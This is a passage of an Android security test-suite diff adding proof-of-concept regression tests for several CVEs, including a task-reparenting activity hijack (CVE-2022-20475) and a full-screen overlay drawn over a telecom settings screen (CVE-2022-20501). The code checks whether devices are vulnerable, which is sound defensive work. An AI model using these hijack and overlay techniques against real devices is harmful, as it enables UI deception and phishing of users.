+                    LayoutParams.FLAG_NOT_FOCUSABLE;
+            mLayoutParams.format = PixelFormat.OPAQUE;
+            mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            mLayoutParams.width = getScreenWidth();
+            mLayoutParams.height = getScreenHeight();
+            mLayoutParams.x = getScreenWidth() / 2;
+            mLayoutParams.y = getScreenHeight() / 2;
+            Context context = getApplicationContext();
+            mButton = new Button(context);
+            mButton.setText(context.getString(R.string.overlayButtonText));
+            mWindowManager.addView(mButton, mLayoutParams);
+            sendTestResult(getResources().getInteger(R.integer.noException), "");
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            mWindowManager.removeView(mButton);
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+        super.onDestroy();
+    }
+
+    void sendTestResult(int status, String message) {
+        try {
+            RemoteCallback cb =
+                    (RemoteCallback) mIntent.getExtras().get(getString(R.string.callbackKey));
+            Bundle res = new Bundle();
+            res.putString(getString(R.string.messageKey), message);
+            res.putInt(getString(R.string.statusKey), status);
+            cb.sendResult(res);
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
index 1a335c7..de67f0f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocStatus.java
@@ -14,9 +14,22 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
 
-import android.app.Activity;
+public class PocStatus {
+    int statusCode;
+    String errorMessage;
 
-public class PocActivity extends Activity {
+    public PocStatus(int status, String message) {
+        statusCode = status;
+        errorMessage = message;
+    }
+
+    public int getStatusCode() {
+        return statusCode;
+    }
+
+    public String getErrorMessage() {
+        return errorMessage;
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
index 50acd29..db55729 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
@@ -20,18 +20,15 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2022-20475-target",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
-    static_libs: [
-        "androidx.test.core",
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-    ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..60fb528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20475_target">
+    <application android:allowTaskReparenting="true">
+        <activity android:name=".TargetActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
index 7460b96..c424970 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
@@ -14,13 +14,7 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
+
+<resources>
+    <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
new file mode 100644
index 0000000..4b885c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_target;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+        } catch (Exception ignored) {
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        try {
+            super.onResume();
+            sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+        } catch (Exception ignored) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
similarity index 89%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
index 50acd29..043de91 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
@@ -20,18 +20,19 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2022-20475-test",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2e35b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20475_test">
+    <application>
+        <activity android:name=".PocActivity" />
+        <activity android:name=".HijackActivity" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20475_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
new file mode 100644
index 0000000..bbeb2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityTarget">android.security.cts.CVE_2022_20475_target.TargetActivity</string>
+    <string name="pkgTarget">android.security.cts.CVE_2022_20475_target</string>
+    <string name="bcastActionHijack">CVE_2022_20475_HijackActivity</string>
+    <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+    <string name="msgFail">Device is vulnerable to b/240663194 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
new file mode 100644
index 0000000..53e4c3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int WAIT_MS = 5000;
+
+    @Test
+    public void testCVE_2022_20475() {
+        try {
+            // Registering a receiver here to wait for a broadcast from either HijackActivity or
+            // TargetActivity
+            Context context = getApplicationContext();
+            CompletableFuture<Boolean> hijackReturn = new CompletableFuture<>();
+            CompletableFuture<Boolean> targetReturn = new CompletableFuture<>();
+            final String bcastActionHijack = context.getString(R.string.bcastActionHijack);
+            final String bcastActionTarget = context.getString(R.string.bcastActionTarget);
+            BroadcastReceiver broadcastReceiver =
+                    new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            if (intent.getAction().equals(bcastActionHijack)) {
+                                hijackReturn.complete(true);
+                            } else if (intent.getAction().equals(bcastActionTarget)) {
+                                targetReturn.complete(true);
+                            }
+                        }
+                    };
+            IntentFilter filter = new IntentFilter();
+            filter.addAction(bcastActionHijack);
+            filter.addAction(bcastActionTarget);
+            context.registerReceiver(broadcastReceiver, filter);
+
+            // Start PocActivity which in turn starts both TargetActivity and HijackActivity
+            Intent intent = new Intent(context, PocActivity.class);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(intent);
+
+            // Waiting on callback from HijackActivity which is started last by PocActivity
+            hijackReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+
+            // Start TargetActivity
+            Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+            final String pkgTarget = context.getString(R.string.pkgTarget);
+            targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+            targetIntent.setFlags(
+                    Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
+            context.startActivity(targetIntent);
+
+            // Wait on callback from TargetActivity. On vulnerable device, TargetActivity would
+            // not start and HijackActivity would remain on screen so the test should fail due
+            // to timeout on callback.
+            try {
+                targetReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+            } catch (TimeoutException e) {
+                throw new AssertionError(context.getString(R.string.msgFail));
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
index 1a335c7..8ac03f6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
@@ -14,9 +14,20 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2022_20475_test;
 
 import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
 
-public class PocActivity extends Activity {
+public class HijackActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            sendBroadcast(new Intent(getString(R.string.bcastActionHijack)));
+        } catch (Exception ignored) {
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
new file mode 100644
index 0000000..e1968a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            // Start TargetActivity
+            Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+            targetIntent.setClassName(getString(R.string.pkgTarget),
+                    getString(R.string.activityTarget));
+            startActivity(targetIntent);
+
+            // Start HijackActivity. On vulnerable device, this will be parented by the task
+            // android.security.cts.CVE_2022_20475_target
+            startActivity(new Intent(this, HijackActivity.class));
+        } catch (Exception ignored) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
similarity index 90%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
index 50acd29..9498881 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/Android.bp
@@ -20,11 +20,13 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2022-20501",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
@@ -33,5 +35,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml
new file mode 100644
index 0000000..5789b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20501">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <application>
+        <service android:name=".PocService"
+            android:enabled="true" />
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20501" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml
new file mode 100644
index 0000000..2af8c0e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="cmdDumpsysActivity">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="overlayButtonText">CVE_2022_20501_OverlayButton</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/246933359 hence any app with
+    "SYSTEM_ALERT_WINDOW permission can overlay the %1$s screen</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="telUri">tel:6505551212</string>
+    <string name="telecomPkgDefault">com.android.server.telecom</string>
+    <string name="vulClsName">.settings.EnableAccountPreferenceActivity</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java
new file mode 100644
index 0000000..d6f5198
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/DeviceTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20501;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Context mContext;
+
+    private void startOverlayService() {
+        Intent intent = new Intent(mContext, PocService.class);
+        assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(mContext));
+        mContext.startService(intent);
+    }
+
+    private String getTelecomPkgName() {
+        PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = mContext.getString(R.string.telecomPkgDefault);
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            Intent intent = new Intent(Intent.ACTION_CALL);
+            intent.setData(Uri.parse(mContext.getString(R.string.telUri)));
+            ResolveInfo info = pm.resolveActivityAsUser(intent, PackageManager.MATCH_SYSTEM_ONLY,
+                    UserHandle.USER_SYSTEM);
+            name = info.activityInfo.packageName;
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        try {
+            mContext = getApplicationContext();
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+            // Start the overlay service
+            startOverlayService();
+
+            // Wait for the overlay window
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+            final long launchTimeoutMs = 20_000L;
+            assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+                    device.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+            // Start the vulnerable activity
+            String pkg = getTelecomPkgName();
+            String cls = mContext.getString(R.string.vulClsName);
+            Intent intent = new Intent();
+            String vulActivity = pkg + cls;
+            intent.setClassName(pkg, vulActivity);
+            PackageManager pm = mContext.getPackageManager();
+            ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+            assumeNotNull(mContext.getString(R.string.activityNotFoundMsg, intent), ri);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            // Wait until overlay window is gone
+            boolean overlayDisallowed =
+                    device.wait(Until.gone(By.text(overlayTextPattern)), launchTimeoutMs);
+
+            // Check if the currently running activity is the vulnerable activity
+            String activityDump = device.executeShellCommand(
+                    mContext.getString(R.string.cmdDumpsysActivity, vulActivity));
+
+            Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+                    Pattern.CASE_INSENSITIVE);
+            assumeTrue(mContext.getString(R.string.vulActivityNotRunningError, vulActivity),
+                    activityPattern.matcher(activityDump).find());
+
+            // Failing the test as overlay window is being allowed making code vulnerable
+            assertTrue(mContext.getString(R.string.overlayErrorMessage, vulActivity),
+                    overlayDisallowed);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java
new file mode 100644
index 0000000..8e1c5d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20501/src/android/security/cts/CVE_2022_20501/PocService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20501;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+
+    @Override
+    public void onCreate() {
+        try {
+            super.onCreate();
+            mWindowManager = getSystemService(WindowManager.class);
+            LayoutParams layoutParams = new LayoutParams();
+            layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            layoutParams.flags =
+                    LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+            layoutParams.format = PixelFormat.OPAQUE;
+            layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+            layoutParams.width = displayMetrics.widthPixels;
+            layoutParams.height = displayMetrics.heightPixels;
+            layoutParams.x = displayMetrics.widthPixels / 2;
+            layoutParams.y = displayMetrics.heightPixels / 2;
+
+            // Show the floating window
+            mButton = new Button(this);
+            mButton.setText(getString(R.string.overlayButtonText));
+            mWindowManager.addView(mButton, layoutParams);
+        } catch (Exception ignored) {
+            // In case of occurrence of an exception overlay won't appear on display which results in
+            // assumption failure in device test. Hence ignoring this exception here.
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            mWindowManager.removeView(mButton);
+        } catch (Exception ignored) {
+        }
+        super.onDestroy();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
similarity index 79%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
index 50acd29..af4ad21 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
@@ -20,18 +20,16 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2023-20918-attacker",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
-    static_libs: [
-        "androidx.test.core",
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-    ],
-    sdk_version: "current",
+    // platform_apis set to true here to access hidden method setPendingIntentLaunchFlags
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
similarity index 60%
